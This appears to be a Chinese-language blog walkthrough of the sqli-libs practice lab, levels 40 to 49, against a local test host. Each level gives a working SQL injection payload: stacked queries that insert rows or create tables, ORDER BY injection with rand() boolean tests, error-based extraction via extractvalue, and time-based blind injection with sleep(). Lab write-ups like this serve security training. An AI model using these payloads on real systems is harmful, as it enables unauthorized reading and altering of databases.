【20171103中】sqli-libs Less 40-49

  Less 40:

  题目:

  分析:此题可以实现sql的叠加,即注入的时候可以构成sql1;sql2...执行。

  payload: http://192.168.162.135/sqli-libs/Less-40/?id=1');insert into users(id,username,password) value('100','hello','world')--+

  效果:

  Less 41:

  分析:和Less40类似,payload: http://192.168.162.135/sqli-libs/Less-41/?id=1;insert into users(id,username,password) value('41','hello41','world41')--+

  Less 42:

  题目:

  分析:这题同样是可以叠加注入

  payload: login_user=admin&login_password=1";insert into users(id,username,password) value('42','h42','w42')#&mysubmit=Login

  Less 43 - 45:和Less42类似

  login_user=a&login_password=b');create table less43 like users#&mysubmit=Login

  login_user=a&login_password=b';create table less44 like users#&mysubmit=Login

  login_user=a&login_password=b');create table less45 like users#&mysubmit=Login

  Less 46:

  题目:

  分析:此处是输入sort参数,sql中有效部分是order by XXX,XXX一般构成 表中的列序号 + 升降序,例如:select * from users order by 1 desc;将users表按照第一列降序排序。

    所以这里可以在XXX处注入。用到的是rand()函数,rand()返回0~1的随机数,但是传入整数时,会一直返回一个浮点数,固定不变。所以我们构造rand(ascii(left(database(),1))=115)进行判断数据库名称的第一个字符是不是115,rand参数为一个表达 式,为真,则会是rand(1),否则rand(0),通过页面显示可以看出自己的判断是否正确。

  payload: http://192.168.162.135/sqli-libs/Less-46/?sort=rand(ascii(left(database(),1))=115)

  效果:

  

  Less 47:

  题目:类似Less 46,但是无回现,可通过错误日志显示,因此 payload: http://192.168.162.135/sqli-libs/Less-47/?sort=1' and extractvalue(1, concat(0x7e, database()))--+

  Less 48: 

  题目:类似Less 46,payload: http://192.168.162.135/sqli-libs/Less-48/?sort=rand(ascii(left(database(),1))=115)

  Less 49:

  题目:类似Less 46,无回现,无错误日志,通过时间注入法,payload: http://192.168.162.135/sqli-libs/Less-49/?sort=1' and (if(ascii(left(database(),1))=115, sleep(4), 0))--+

原文地址:https://www.cnblogs.com/heijuelou/p/7779830.html